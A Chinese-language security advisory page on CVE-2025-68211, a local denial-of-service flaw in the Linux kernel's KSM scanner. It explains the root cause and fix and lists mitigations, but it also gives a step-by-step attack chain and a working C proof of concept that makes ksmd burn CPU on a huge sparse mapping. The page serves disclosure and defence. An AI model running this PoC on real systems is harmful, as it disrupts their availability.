IPBUF安全漏洞报告
English
CVE-2025-68211 CVSS 5.5 中危

CVE-2025-68211: Linux内核KSM扫描拒绝服务漏洞

披露日期: 2025-12-16
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-68211
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelKSM拒绝服务资源耗尽本地攻击稀疏内存映射CVE-2025-68211

漏洞概述

CVE-2025-68211是Linux内核中KSM(Kernel Samepage Merging)模块的一个拒绝服务漏洞。该漏洞存在于scan_get_next_rmap_item()函数中,当扫描大型虚拟内存区域时,该函数会遍历VMA中的每个页面地址来定位可合并页面。对于包含大量未映射区域的大内存映射(如32 TiB映射但仅填充少量页面),KSM会消耗大量CPU资源进行无效扫描,导致ksmd进程几乎无法完成任何有价值的页面去重工作。本地低权限用户可以利用此漏洞通过创建稀疏内存映射并启用KSM,使系统CPU资源被ksmd进程大量占用,从而造成拒绝服务。CVSS评分5.5,属于中等严重程度。

技术细节

漏洞根源在于scan_get_next_rmap_item()函数的实现方式。该函数采用逐地址遍历的方式扫描VMA中的每个页面,无论该地址是否实际映射了物理页面。当处理稀疏内存映射时(如32 TiB虚拟空间但仅1页实际映射),KSM会尝试扫描所有地址空间,导致:1) ksmd进程CPU使用率达到100%;2) 扫描一个32 TiB映射可能需要超过1小时;3) 实际上只能合并极少数页面,效率极低。攻击者只需创建大型稀疏映射(MAP_NORESERVE | MAP_PRIVATE | MAP_ANON),填充至少一个页面使其具有anon_vma,然后调用madvise(area, size, MADV_MERGEABLE)启用KSM合并,调用pause()保持进程运行。修复方案是使用walk_page_range()进行范围遍历,让KSM能够跳过未映射的内存区域,仅扫描实际映射的页面。

攻击链分析

STEP 1
1
攻击者创建大型稀疏内存映射(32 TiB),使用MAP_NORESERVE标志避免实际物理内存分配
STEP 2
2
填充映射中的一个页面,使其具有anon_vma结构,满足KSM合并的前提条件
STEP 3
3
调用madvise()系统调用,传递MADV_MERGEABLE参数,将该内存区域标记为KSM可合并
STEP 4
4
通过echo 1 > /sys/kernel/mm/ksm/run或系统自动触发KSM扫描
STEP 5
5
KSM的scan_get_next_rmap_item()函数开始遍历整个32 TiB虚拟空间,对每个地址进行无效查找
STEP 6
6
ksmd进程CPU使用率达到100%,持续数小时,消耗大量系统资源但几乎无法完成有效去重
STEP 7
7
系统可用性严重下降,其他进程响应变慢或超时,导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <unistd.h> #include <stdio.h> #include <sys/mman.h> /* 32 TiB sparse mapping - only one page populated */ const size_t size = 32ul * 1024 * 1024 * 1024 * 1024; int main() { char *area = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_NORESERVE | MAP_PRIVATE | MAP_ANON, -1, 0); if (area == MAP_FAILED) { perror("mmap() failed\n"); return -1; } /* Populate a single page to get an anon_vma */ *area = 0; /* Enable KSM merging on this sparse region */ madvise(area, size, MADV_MERGEABLE); /* Keep process alive to allow ksmd to scan */ pause(); return 0; }

影响范围

Linux Kernel < 5.15 (stable)
Linux Kernel < 6.1 (longterm)
Linux Kernel < 6.6 (longterm)
Linux Kernel < 6.12 (stable)

防御指南

临时缓解措施
如果无法立即应用内核补丁,可以采取以下临时缓解措施:1) 监控ksmd进程资源使用情况,当CPU使用率异常时重启KSM服务;2) 限制用户可创建的内存映射大小(通过ulimit -v);3) 在容器环境中限制容器的内存资源;4) 考虑临时禁用KSM(echo 0 > /sys/kernel/mm/ksm/run),但这会影响内存去重功能;5) 使用cgroups限制ksmd进程的CPU使用配额。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表